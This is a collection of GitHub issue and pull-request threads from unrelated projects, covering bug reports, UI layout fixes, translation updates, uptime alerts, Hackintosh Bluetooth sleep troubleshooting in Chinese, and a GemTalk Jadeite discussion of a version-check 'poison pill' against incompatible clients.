authors: AlexeyRaga TikhonJelvis TomMD

repo: GaloisInc/avro


text:
Unity 2018.1 is coming out next week

Would be nice to update the project. It's still on 5.x

haven't got 2018 installed yet :)

Lol how about 2017.1 .2 .3 ?))))
There are some absolete api warnings popping out in 2017.x so yeah

would do it later (should be soon)

authors: foxnoodles mc-gulu

repo: GameBuildingBlocks/PerfAssist


text:
🛑 Wikipedia is down

In 3ff88e6, Wikipedia (https://en.wikipedia.org) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Wikipedia is back up in d51d571.

repo: GamePlusX/WebStatus


text:
Update Japanese translation

Updated some new keys to Japanese translation

Thanks! Do you think it would be possible to wait a tad and translate even more messages, when PR #86 is merged?

understood.  I will wait for a while.

Great! I'll let you know

@kazumasa200 the new messages are on lines 66, 67, 86 and 171! ;)

Thanks again!

repo: GamerJoep/MinetopiaVehicles


text:
v0.8.9_15: Cross symbol ‘x’ is missing

SEVERITY: Major
MODULE: Mountain Chart
Platform: MAC / Safari 9.0
RELEASE: v0.8.9
STEPS TO REPRODUCE:

Navigate URL: http://static.gapminderdev.org/vizabi/release/v0.8.9/preview/mountainchart.html
Mountain chart page will be loaded
Select a country. For example we select China.
Selected country is shown on top left with the population of that country
Take the mouse to the population. A small circle is shown to remove this population
Note that cross symbol ‘x’ is missing there

ACTUAL RESULTS:
Cross symbol ‘x’ is missing on population of the country
EXPECTED RESULTS:
Cross symbol ‘x’ should be there for better understanding to deselect the country
SCREENSHOT:

https://github.com/Gapminder/vizabi/pull/1042

repo: Gapminder/vizabi


text:
When label box off, we still want a box when hovering the label

done #1721


text:
CompositeSprites Animates Continue When Scene Is Paused

If you pause a scene with normal sprites that are animating, the animation freezes as you'd expect.  If you pause the scene with animated composite sprites, then the animations continues.  This is easy to test in the toy box.  Open the AudioToy and pause the scene.
SandboxScene.setScenePause(true);
The animations will freeze.  Now open the CompoundObjectsToy and click around to throw in a few objects.  Now try pausing the scene again.  If any of the objects are moving, they'll freeze in place, but their animations will continue.
This issue hits my game hard, where I have multiple scenes with lot's of composite sprites.  When I hide one scene I pause it so it's not hogging resources, but with this bug, it still is using some juice.

Fixed with pull request #375.


text:
Cannot edit multiple objects

I remember being able to select and edit the values of multiple objects before in Torque, but it seems to be broken now.
To reproduce: Place multiple objects in the default template, like some rocks, select them all and edit some values like scale and you will notice it will only update the item you selected last.
You really should be able to select and edit multiple objects at once, imaging having placed hundreds of objects and in the end you realize you have to switch collision type to visible mesh or something like that on all of them and it would be just insane to select each one separately and change the value and then repeat it a hundred times, when you just could select all and change it and done.

Hm I found that for some things it seems to work, for example if you select multiple audio emitters and change the volume, it will change the volume on all at the same time.

Makes sense you can only do multiple edit for the same object type and possibly only for some fields too.

I was never trying to edit different object types, it was always the same like static shapes etc.
The question now is where the reason is, why it only works for certain types, since it should work with any object type that has the same fields like coordinates or the same flags, since the only task that needs to be done is to write the same values in the same field in the mission file.
The engine does account for that already, for example if you edit multiple objects with different values in a certain field, the field will show as empty, signalizing that not all objects have the same value and when you enter some value in there, it will apply for all objects.

authors: Duion dottools


text:
local data toggle

closes #494
Overview
Very small PR to sanity check approach before actually replacing all of the local_data calls. This turns import local_data into an error in the presence of a special environment variable, and adds the basic CRUD methods to the backend client.
Discussion
There should be exactly zero behavioral difference for anyone without the GARDEN_DISABLE_LOCAL_DATA variable set except for one new (currently optional) function_text field on RegisteredEntrypoint for compatibility with the backend response schema.
This is always the same as the function text otherwise stored in .steps[0].function_text, it's only necessary because the backend doesn't have steps.
Testing
Without the variable I can import garden_ai just like before, but with the environment variable set it fails with flying colors.
Documentation
n/a

📚 Documentation preview 📚: https://garden-ai--495.org.readthedocs.build/en/495/

:warning: Please install the  to ensure uploads and comments are reliably processed by Codecov.
Codecov Report
Attention: Patch coverage is 54.34783% with 21 lines in your changes missing coverage. Please review.

Project coverage is 75.18%. Comparing base (1d34837) to head (20cb989).

Files
Patch %
Lines

garden_ai/backend_client.py
33.33%
20 Missing :warning:

garden_ai/local_data.py
93.33%
1 Missing :warning:

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@            Coverage Diff             @@
##             main     #495      +/-   ##
==========================================
- Coverage   75.50%   75.18%   -0.32%
==========================================
  Files          55       55
  Lines        3695     3732      +37
==========================================
+ Hits         2790     2806      +16
- Misses        905      926      +21

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

authors: OwenPriceSkelly codecov-commenter

repo: Garden-AI/garden


text:
Скласти додаткові інформаційні блоки

Можна зробити резюме менш формальним, додавши додаткові блоки, які містять корисну інформацію, але подають її в "розважальній" формі. Наприклад, що подобається і не подобається, сильні і слабкі сторони, перелік навиків чи хобі, інфографіка або ж інтерактивні модулі, тощо. Варто написати контент такого блоку раніше, ніж починати верстку, бо його розміри впливатимуть на розміщення елементів на сторінці.

Dop Info AA
Dop Info BB
Dop Info CC
Dop Info DD

Very interesting information ! Thanks !

authors: GarryFirst-cripto GarrySecond-cripto

repo: GarryFirst-cripto/homepage


text:
Fixing empty jsonRPC.

As answer to my https://github.com/Garulf/Flox/issues/10:
Reverting the commit https://github.com/Garulf/Flox/commit/01bb1daf3de78c3699862ef62b751fed78e3efe1.
Changing __call__ back to __init__, solves the problem.

I was attempting to step away from the "hacky" use of __del__ and have the user explicitly call the Launcher class. But in hind sight I should have held off on this change.
You'd be better off re-adding the __del__ method instead of __init__.

I was attempting to step away from the "hacky" use of __del__ and have the user explicitly call the Launcher class. But in hind sight I should have held off on this change.
You'd be better off re-adding the __del__ method instead of __init__.

It does work, but I'm not sure I know why.
Why don't you use __init__ anyway?

The original reason was to allow plugins to use their own __init__ and still inherit Flox's __init__.
class MyPlugin(Flox):

    def __init__(self, *args, **kwargs):
        super().__init__()
        # this line is never ran if the launcher is run on init

The original reason was to allow plugins to use their own __init__ and still inherit Flox's __init__.
class MyPlugin(Flox):

    def __init__(self, *args, **kwargs):
        super().__init__()
        # this line is never ran if the launcher is run on init

Ofcourse, but that's how python works.
I claim that if someone implements it's own init, it should be done as following:
class MyPlugin(Flox):

    def __init__(self, *args, **kwargs):
        self.something = "something"
        # any other initializers.
        super().__init__()
        # the super should be last.

    def query(self, query)
    [...]

And ofcourse it works (with Launcher.init).
BTW. Thanks for responding so fast, very appriciated!

Flox is getting a complete re-write to avoid these issues. I'm working on this now just finalizing the design.

Flox is getting a complete re-write to avoid these issues. I'm working on this now just finalizing the design.

Cool, I'm looking forward for it!

I reverted the change that caused this issue. Sorry for the trouble!

repo: Garulf/Flox


text:
Mario stays in free fall state for all levels

Regardless if i obtain a power-up, Mario stays in falling state when i enter a level and am unsure how to fix this myself. along with the ground being more pixelated than usual.

having the same issue, i can't pinpoint what does this but i think it has something to do with gravity?

Sorry for the late reply but this is caused by GameMaker Studio 2
You need to tick on "Collision Compatibility Mode" in the Game Options

Thank you! As for the pixelated ground, I found that you can fix it by increasing the Texture Page Size in the Windows Settings

repo: GateteVerde/Mario-Worlds-Delta


text:
🛑 Countr is down

In 9d3020c, Countr (https://darkamusingcomputeranimation.gavindr1.repl.co) was down:

HTTP code: 500
Response time: 7698 ms

Resolved: Countr is back up in 6e05d6f after 12 minutes.


text:
蓝牙不能接USB一分二hub，会导致睡眠失败

MSI B360M迫击炮只有一个9针usb2.0接口，而如果机箱面板有usb2.0，94360CD无线网卡的蓝牙也要接usb2.0，可能用USB一分二来解决接口不足。经测试，不管usb一分二是否内建，都不能正常睡眠。表现是屏幕变黑、主机风扇转、主板灯亮。
蓝牙usb直接接主板9针USB即可正常睡眠。

原来是这个原因导致的不能睡眠？我后来直接关闭了睡眠。

原来是这个原因导致的不能睡眠？我后来直接关闭了睡眠。
Xjin的教程说蓝牙不能在hub上内建，我之前不信。。。

我也是用的9针扩，还是一分四，最开始怎么都不能睡眠，后面勾选了小憩反而可以了。
但是蓝牙插在一分四上面睡眠久了容易无响应一直没解决，b360m这种9针不够的真的是找不到解决办法了。

我也是用的9针扩，还是一分四，最开始怎么都不能睡眠，后面勾选了小憩反而可以了。
但是蓝牙插在一分四上面睡眠久了容易无响应一直没解决，b360m这种9针不够的真的是找不到解决办法了。
蓝牙接在一分四上面开小憩自动和手动睡眠都正常？这就奇怪了，我接一分二不管小憩是否开启，都不能正常睡眠。

另外，虽然现在睡眠OK了，包括自动和手动睡眠，睡一晚唤醒也没出现失败的情况。不过有个地方不知道是否有人注意到，从睡眠唤醒后出现登录界面，不输入密码登录而是点取消（比如不小心碰到鼠标但是又不想登录），则又出现屏幕变黑、主机风扇转、主板灯亮的情况，不确定是系统bug还是个例。

一个USB2.0用4针就可以了，九针其实是两个USB2.0接口。你可以试试用其中4个针脚接蓝牙。用其余4个针脚接前置USB2.0

一个USB2.0用4针就可以了，九针其实是两个USB2.0接口。你可以试试用其中4个针脚接蓝牙。用其余4个针脚接前置USB2.0

试了下，另外一个基本插不进去，放弃了前置面板2.0，毕竟前置3.0可以用。

另外，虽然现在睡眠OK了，包括自动和手动睡眠，睡一晚唤醒也没出现失败的情况。不过有个地方不知道是否有人注意到，从睡眠唤醒后出现登录界面，不输入密码登录而是点取消（比如不小心碰到鼠标但是又不想登录），则又出现屏幕变黑、主机风扇转、主板灯亮的情况，不确定是系统bug还是个例。

能说一下怎么搞定的吗？

另外，虽然现在睡眠OK了，包括自动和手动睡眠，睡一晚唤醒也没出现失败的情况。不过有个地方不知道是否有人注意到，从睡眠唤醒后出现登录界面，不输入密码登录而是点取消（比如不小心碰到鼠标但是又不想登录），则又出现屏幕变黑、主机风扇转、主板灯亮的情况，不确定是系统bug还是个例。

能说一下怎么搞定的吗？

关闭设置里的共享，关闭handoff

既然9针无从下手，是否可以考虑从3.0下手（除了9针2.0主板上还有一个19针3.0和一个TYPE-E接口）
例如我的机箱有两个USB2.0需要一个9针口，一个3.0需要一个19针口
那么买一个19针转9针转换器接2.0
再买一个TYPE-E转19针接3.0
这样可以保证蓝牙USB直接插主板不影响蓝牙内建

一个USB2.0用4针就可以了，九针其实是两个USB2.0接口。你可以试试用其中4个针脚接蓝牙。用其余4个针脚接前置USB2.0

感谢提醒，我直接把一分四接头退针了四针，然后塞进去蓝牙的两针，现在蓝牙是直接接在主板了。
目前看来睡眠后蓝牙没有卡死，多用几天看看。

另外，虽然现在睡眠OK了，包括自动和手动睡眠，睡一晚唤醒也没出现失败的情况。不过有个地方不知道是否有人注意到，从睡眠唤醒后出现登录界面，不输入密码登录而是点取消（比如不小心碰到鼠标但是又不想登录），则又出现屏幕变黑、主机风扇转、主板灯亮的情况，不确定是系统bug还是个例。

能说一下怎么搞定的吗？

关闭设置里的共享，关闭handoff

我主要就是想用handoff，所以还是折腾了一下。参考我楼上回复，目前一切正常。

另外，虽然现在睡眠OK了，包括自动和手动睡眠，睡一晚唤醒也没出现失败的情况。不过有个地方不知道是否有人注意到，从睡眠唤醒后出现登录界面，不输入密码登录而是点取消（比如不小心碰到鼠标但是又不想登录），则又出现屏幕变黑、主机风扇转、主板灯亮的情况，不确定是系统bug还是个例。

能说一下怎么搞定的吗？

关闭设置里的共享，关闭handoff

我主要就是想用handoff，所以还是折腾了一下。参考我楼上回复，目前一切正常。

我看了我的蓝牙，有6根线连着，上面一排4针和下面一排中间两针，请问这个要怎么搞？如果用分线器的话

另外，虽然现在睡眠OK了，包括自动和手动睡眠，睡一晚唤醒也没出现失败的情况。不过有个地方不知道是否有人注意到，从睡眠唤醒后出现登录界面，不输入密码登录而是点取消（比如不小心碰到鼠标但是又不想登录），则又出现屏幕变黑、主机风扇转、主板灯亮的情况，不确定是系统bug还是个例。

能说一下怎么搞定的吗？

关闭设置里的共享，关闭handoff

我主要就是想用handoff，所以还是折腾了一下。参考我楼上回复，目前一切正常。

我看了我的蓝牙，有6根线连着，上面一排4针和下面一排中间两针，请问这个要怎么搞？如果用分线器的话

我的蓝牙只有两根线，你搜搜9针usb每根针的用途，然后就会明白怎么操作了

网卡usb是2.0，只有四根针，可以把四根针直接连接主板，另外四根接hub分给前面板用

网卡usb是2.0，只有四根针，可以把四根针直接连接主板，另外四根接hub分给前面板用

我的蓝牙是6根线，不知道该怎么拆，还是用转换器接另外两个口试试了

网卡usb是2.0，只有四根针，可以把四根针直接连接主板，另外四根接hub分给前面板用

我的蓝牙是6根线，不知道该怎么拆，还是用转换器接另外两个口试试了


text:
doc: Add a contribution guideline

It is basically a copy and cut from rust-av.

Coverage decreased (-0.08%) to 84.262% when pulling 4df96c4ee4fdefadfeda29a7b355140780713be5 on lu-zero:master into 41f87f896ad03d1f2344be1146c19363b0e9172a on Geal:master.

Thanks!

authors: Geal coveralls lu-zero

repo: Geal/nom


text:
🛑 Bitwarden is down

In 6a4db68, Bitwarden ($BITWARDEN_URL) was down:

HTTP code: 530
Response time: 202 ms

Resolved: Bitwarden is back up in 12102ec.

repo: GeekCornerGH/status-page


text:
🛑 Mastodon is down

In 8b3a43b, Mastodon ($MASTODON_URL) was down:

HTTP code: 500
Response time: 1907 ms

Resolved: Mastodon is back up in 4361937.


text:
There is not plenty of space to use in Header - title

Hey guys, I have reviewed some issues related with this problem, but in all cases people are using a short text.
I'm no able to change the width of the Title within the Body component. There is plenty of space to use, but the Body component is using a very small portion of the available width.

Also in IOS: if I dont use a right button, the text gets lost:

react-native, react and native-base version
"react-native": "0.55.1",
"native-base": "^2.4.5",

Expected behaviour
To be able to use more width within the Body component, and align the text when there is not right button in IOS
Actual behaviour
Not using plenty of space available for the title and the alignment when there is not right button gets lost
Steps to reproduce (code snippet or screenshot)
const buildHomeBtn = navigation => {
  return (
    <Left>
      <Button transparent onPress={() => navigation.navigate('PatientHome')}>
        <Icon name='ios-home-outline' style={{ color: PRIMARY_DARK }} />
      </Button>
    </Left>

  )
}

const buildLeftArrowIcon = leftIconHandler => {
  console.log('leftIconHandler', leftIconHandler)
  return (
    <Left>
      <Button transparent onPress={leftIconHandler}>
        <Icon name='ios-arrow-back' style={{ color: PRIMARY_DARK }} />
      </Button>
    </Left>
  )
}

const buildRightSideIcon = navigation => {
  return (
    <Right>
      <Button transparent onPress={() => navigation.navigate('DrawerOpen')}>
        <Icon name='menu' style={{ color: PRIMARY_DARK }} />
      </Button>
    </Right>

  )
}

 <Header style={typo.bgWhite}
   androidStatusBarColor={getStatusBarColor(statusBarColor)}
   iosBarStyle='light-content'>
   {leftIconType === 'home' ? buildHomeBtn(navigation) : buildLeftArrowIcon(leftIconClickHandler)}
   <Body>
    <Title style={{ color:'blue', fontSize: 16 }}> RESUMEN DEL SERVICIO </Title>
   </Body>
    {showRightIcon ? buildRightSideIcon(navigation) : null}
</Header>

Is the bug present in both ios and android or in any one of them?
both

@erick2014

Also in IOS: if I dont use a right button, the text gets lost:

If you include Left / Body / Right, to align your elements, then you have to wrap the rest of the elements similarly for alignment

@SupriyaKalghatgi  do you mean  use Left or right within the Body?

I believe she means that if you are using the Left and Body component, you also have to use the Right component but you don't have to include anything inside it. Something like this should work for you.
{showRightIcon ? buildRightSideIcon(navigation) : <Right />}

Alright I'm going to try, thx for the explanation @joshuahenson

@erick2014 Did you try?

This issue will be closed tomorrow, in case of no response

Did anyone find a solution for this? I'm having the same issue. I'm using all three components Left / Body / Right and all of them seem to be cutting off like there's not enough room when really there is plenty of space.
       <Header>
          <Left>
            <Button transparent onPress={() => this.props.navigation.navigate('Accounts')}>
              <Icon active name='ios-arrow-back' type='Ionicons' />
              <Text>Back</Text>
            </Button>
          </Left>

          <Body>
            <Title>EDIT ACCOUNTS</Title>
          </Body>

          <Right>
            <Button transparent onPress={() => this.setState({ reorder: !this.state.reorder })}>
              {(this.state.reorder ? <Icon active name='close' type='AntDesign' /> : <Icon name='ios-menu' type='Ionicons' />)}
            </Button>
          </Right>
        </Header>

I have the same problem

<Header >
  <Left>
      <Button transparent onPress={() => navigation.goBack()}>
          <Icon name='arrow-back' />
      </Button>
   </Left>
   <Body style={{ backgroundColor: "black" }}>
       <Title>{item.level3}</Title>
       <Subtitle>{item.level4}</Subtitle>
   </Body>
   <Right />
</Header>

I tried-and-error setting some styles on the Body and Right component , and also removed the Right component without any good results.

I solved the truncated titles by putting style={{ flex: 2 }} on the <Body> tag

@SupriyaKalghatgi style={{ flex: 2 }} on the <Body> tag seems to workaround the problem.  Can GeekyAnts get a more permanent fix?

authors: Enalmada SupriyaKalghatgi erick2014 jannikbuschke joshuahenson kentrh rosemarystanley

repo: GeekyAnts/NativeBase


text:
Floating Label not visible when building app with expo.

I have a very simple component that uses floatingLabels and when I use expo start they appear properly. When I use expo build:android the labels do not appear at all.
Here is more details from a forum thread. Unfortunately the solution the person proposed did not work for me I also wanted to post this issue here because using an older version is not a solution, its a workaround.
http://discuss.nativebase.io/t/nativebase-form-is-not-visible-properly-in-release-build-apk-generated-with-gradlew-assemblerelease/1142/7

Did you check #2264 before creating this issue?

I did a while ago, but didn't think to check today. A new version will be available this week. Thank you for the link.


text:
InputMask or add a prop mask to Input component #feature

A suggestion
Add to the NativeBase a component InputMask or a prop in the Input component.
Example:
<Input mask = "99999-99" />
Or
<InputMask mask = "99999-99"/>
Thank you

Hi thanks for reporting this! NativeBase being a UI library, we'd like to keep business logic separate from NativeBase. You can use this feature of redux form for that.

What feature are you referring to exactly? I'd also like a input mask feature.

@sankhadeeproy007  Could you please reconsider adding this as input-mask is really common stuff in any of the UI frameworks.²

authors: appjitsu gustavorozolin sandropf sankhadeeproy007


text:
WIP: support PreFilterExtensions

What type of PR is this?
/kind feature
/kind api-change
What this PR does / why we need it:
Which issue(s) this PR fixes:

Fixes part of #72
Special notes for your reviewer:
Does this PR introduce a user-facing change?

Support prefilter extensions

What are the benchmark results of this change?

Hi @chansuke ,
Somehow you are creating a PR on my repository.
You should create a PR on this repo instead :)
https://github.com/kubernetes-sigs/kube-scheduler-wasm-extension/tree/b4402b5d9664f721e00c72c17806674f34fbc6d0

@chansuke
ところで、不明点あれば、slackでもこのPR上でも、いつでも聞いてください〜
（このPRは、僕のrepo上なので、別に日本語でいいか、と思って、日本語にしています）

@Gekko0114
わ、すみません＞＜ Gekko0114のPRをコードリーディングしながら作業していたら、無意識にこちらに作成していました。すぐに直します。

不明点あれば、slackでもこのPR上でも、いつでも聞いてください〜

有難うございます... :bow:

@chansuke
GitHubと違ってSlackなら日本語OKです！sanposhiho、Gekko0114でそのままの名前でいるので、雑にDM投げてください！
このリポジトリがやってるような、backend wasmは例も少なくて結構ややこしいと思うので、自分で理解するより雑に質問投げながら理解した方が時間が無駄にならず近道かもしれないです。
Slack参加: https://communityinviter.com/apps/kubernetes/community

@sanposhiho
有難うございます><

authors: Gekko0114 chansuke sanposhiho


text:
Poison pill for Jadeite alpha

The Jadeite alpha which was released in May will not work with the rowan services & JadeServer classes in Oscar.
We need to (potentially) add a poison pill so that the user cannot login to an Oscar-rowan server with the Jadeite alpha (2.0.1).

@dalehenrich Since no one is using Jadeite Alpha anymore, should we close this issue?

... not for Alpha1, but do we need one for Jade? There is some public information about how to install Jade persistently in an image that would cause problems for Jadeite and if anyone were to try to use Jade in a Rowan image  (changing Rowanized methods or classes) that would definitely cause trouble ... I would think that creating a object that cannot be written to in one of the spots used by Jade might do the trick?
don't reassign to me unless you need it for your peace of mind ... I don't look at issues assigned to me on the Jadeite list in the normal course of business, but I do monitor the github mail traffic and that is usually how I recognize that I need to respond:)

@dalehenrich I assigned to you for a response to my question. Nothing more.
Putting in the poison pill for Jade is a good idea as much of the Jade service code would get overwritten. I'll reassign back to myself and mark as an April fix.

@dalehenrich I looked at the JadeServer installation code and Jade creates a new symbol list on the server then installs the JadeServer client code into the that symbol list. If persisted, this could make Jadeite non-functional as indicated earlier in this issue.
In thinking about a poison pill ... JadeServer is currently installed in UserGlobals. Installing it in Globals would eliminate any potential damage by anyone but SystemUser.
Another thought ... If Rowan controls all class definition compiles then couldn't Rowan just throw an error if JadeServer was recompiled? Any attempts to login by Jade would fail and code integrity would be preserved.

The "poison pill" idea is to force an error during installation so that the user does not get the idea that Jade can be safely used, or is inadvertently logging into a Rowanized stone ... eventually it will be legal to use the "standard" class and method creation calls at which point it won't hurt for Jade to be installed, so this is only an "issue" as long as a Rowanized stone is "vulnerable" ... if there is no practical way to prevent installation, then we'll just have to take our chances ...

@dalehenrich Is this still needed? We have a form of poison pill in that versions are checked on login - giving a warning message if the user is out of sync.

the alpha jadeite is no longer an issue

Retiring

authors: dalehenrich ericwinger

repo: GemTalk/Jadeite